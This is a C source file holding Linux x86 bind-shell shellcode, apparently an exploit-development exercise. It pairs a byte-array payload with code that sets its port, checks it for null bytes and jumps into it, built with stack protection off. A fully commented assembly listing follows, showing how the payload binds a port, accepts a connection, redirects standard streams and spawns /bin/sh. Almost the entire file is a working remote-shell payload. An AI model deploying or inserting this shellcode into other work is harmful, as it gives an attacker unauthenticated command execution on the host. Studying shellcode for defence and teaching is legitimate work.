/*===================================================================*/
/* 
  Filename: bindshell.c
  Author: JollyFrogs (LookoutFrog@gmail.com)
  
  License: This work is licensed under a Creative Commons
  Attribution-NonCommercial 4.0 International License.
  
  Compile:
  gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell
*/

#include <stdio.h>
#include <string.h>
#include <stdbool.h>

unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x87\xe3\xcd\x80";

static bool shellcode_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode[i] == '\x00') return false;}
    // Return true if no zeroes found
    return true;
}

static bool shellcode_setport(char *buf, int port) {
    // Check if decimal port is valid
    if (port<1024 || port>65535) return false;
    // The offset of the port is 21, but reduce by 1 since the array counts from 0
    int shellcode_port_offset = 20; // (\x15\xb3)
    // convert decimal port to hexidecimal
    *(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
    // Swap port bytes to accomodate for Little Endian memory structure
    char tmp = buf[shellcode_port_offset];
    buf[shellcode_port_offset] = buf[shellcode_port_offset+1];
    buf[shellcode_port_offset+1] = tmp;
    // Check if the hexidecimal port contains zeroes, if it does then show an error
    if (shellcode[20] == '\x00' || shellcode[21] == '\x00') {
     printf("port HEX contains zeroes\n"); return false;
    }
    // Return true if all checks passed
    return true;
}

main () {
    // Port in decimal - should be higher than 1024 and lower than 65536
    int port = 1234;
    // Basic error checking
    if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
    if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
    // Print shellcode length.
    printf("Shellcode Length:  %d\n", strlen(shellcode));
    // Run assembly commands
    __asm__ (
    // Initialize registers
     "movl $0x12345678, %eax\n\t"
     "movl $0x12345678, %ebx\n\t"
     "movl $0x12345678, %ecx\n\t"
     "movl $0x12345678, %edx\n\t"
     "movl $0x12345678, %edi\n\t"
     "movl $0x12345678, %esi\n\t"
     "movl $0x12345678, %ebp\n\t"
    // execute shellcode
     "jmp shellcode");
}

/* Assembly source of shellcode: 

global _start

section .text
_start:
  ; parameters for SOCKET(2) are placed on the stack in reverse order
  ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
  ; Before instruction "int 0x80" the stack should look like: 
  ; 02 00 00 00 01 00 00 00 00 00 00 00
  ; ^AF_INET    ^S_STREAM   ^TCP 
  
  xor    eax, eax            ; EAX = 00000000
  push   eax                 ; PUSH 00000000 (TCP)
  inc    eax                 ; EAX = 00000001
  push   eax                 ; PUSH 00000001 (SOCK_STREAM)
  pop    ebx                 ; EBX = 00000001 (SOCKETCALL.SOCKET)
  push   eax                 ; PUSH 00000001 (SOCK_STREAM)
  inc    eax                 ; EAX = 00000002
  push   eax                 ; PUSH 00000002 (AF_INET)
  
  ; invoke socketcall to create the socket
  mov    al, 0x66            ; EAX = 00000066 (SOCKETCALL)
  
  mov    ecx, esp            ; ECX = points to top of stack (0xBFFFF3E4)

  int    0x80                ; SYSCALL SOCKETCALL(2)-SOCKET(2)
  
  xchg   edi, eax            ; store fd in edi

  ; parameters for BIND(2) are placed on the stack in reverse order
  ; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
  ; Before instruction "int 0x80" the stack should look like: 
  ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
  ; ^FD         ^           ^structlen  ^AFNT ^port ^in_addr
  ;             | PTR to ---------------^  
  
  pop     ebx                ; EBX = 00000002 (SOCKETCALL.BIND)
  pop     eax                ; EAX = 00000001
  ; Note: Stack = 00000000
  mov     ax, 0xB315         ; EAX = 0000B315 (5555 reversed)
  push    ax                 ; PUSH B315      (sockaddr_2)
  push    bx                 ; PUSH 0002      (sockaddr_3)
  mov     ecx, esp           ; ECX = ESP (0xBFFFF3E8)
  xor     eax, eax           ; EAX = 00000000
  mov     al, 0x10           ; EAX = 00000010
  push    eax                ; PUSH 00000010  (len(sockaddr))
  push    ecx                ; PUSH (*ADDR)   (ptr to sockaddr)
  push    edi                ; push (FD)      (SOCKFD)
  
  ; invoke socketcall to bind the socket to IP and port
  mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
  mov     ecx, esp           ; ECX = points to top of stack  (0xBFFFF3DC)

  int     0x80               ; SYSCALL SOCKETCALL(2)-BIND(2)

  ; parameters for LISTEN(2) are placed on the stack in reverse order
  ; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
  ; Before instruction "int 0x80" the stack should look like: 
  ; 07 00 00 00 00 00 00 00
  ; ^FD         ^Backlog = 0
  
  ; Note that EAX = 00000000 due to return code from SOCKETCALL above
  push    eax                ; PUSH 00000000  (Backlog)
  push    edi                ; PUSH (FD)      (SOCKFD)
    	
  ; invoke socketcall to set the socket in listen mode
  mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
  inc     ebx                ; EBX = 00000003
  inc     ebx                ; EBX = 00000004 (SOCKETCALL.LISTEN)
  mov     ecx, esp           ; ECX = points to top of stack (0xBFFFF3D4)
  int     0x80               ; SYSCALL SOCKETCALL(2)-LISTEN(2)
  ; Note: The selected port is opened on the system and listening

  ; parameters for ACCEPT(2) are placed on the stack in reverse order
  ; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
  ; Before instruction "int 0x80" the stack should look like: 
  ; 07 00 00 00 00 00 00 00 00 00 00 00
  
  ; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
  ; Note that stack at 0xBFFFF3D4 already contains what I need:
  ; 07 00 00 00 00 00 00 00 00 00 00 00 
  ; invoke socketcall to set the socket to accept connections
  mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
  inc     ebx                ; EBX = 00000005 (SOCKETCALL.ACCEPT)
  int     0x80               ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
      
  ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
  ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
  xchg    eax, ebx           ; EBX = CFD, EAX = 00000005
  xchg    ecx, edi           ; ECX = 00000007
  ; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3
  
redirect:
  dec     ecx                ; ECX = 00000002 (eventually)
  mov     al, 0x3f           ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
  int     0x80               ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
  jnz     redirect           ; 
  
  ; spawn /bin/sh shell
  ; Note that EAX is set to 00000000 upon last succesful execution of DUP2
  push eax                   ; PUSH 00000000 (NULL byte)
  pop ecx                    ; ECX = 00000000 (EXECVE ARGV)
  push eax                   ; PUSH 00000000 (NULL byte)
  pop edx                    ; EDX = 00000000 (EXECVE ENVP)
  
  ; push '/bin//sh, 0' on stack
  push eax                   ; PUSH 00000000 (NULL byte)
  mov al, 0xb                ; EXECVE(2)
  push 0x68732f2f            ; "//sh"
  push 0x6e69622f            ; "/bin"

  xchg esp, ebx              ; Save a byte by sacrificing unneeded ESP
    
  int 0x80                   ; Start /bin/sh in the client socket FD
*/

/*===================================================================*/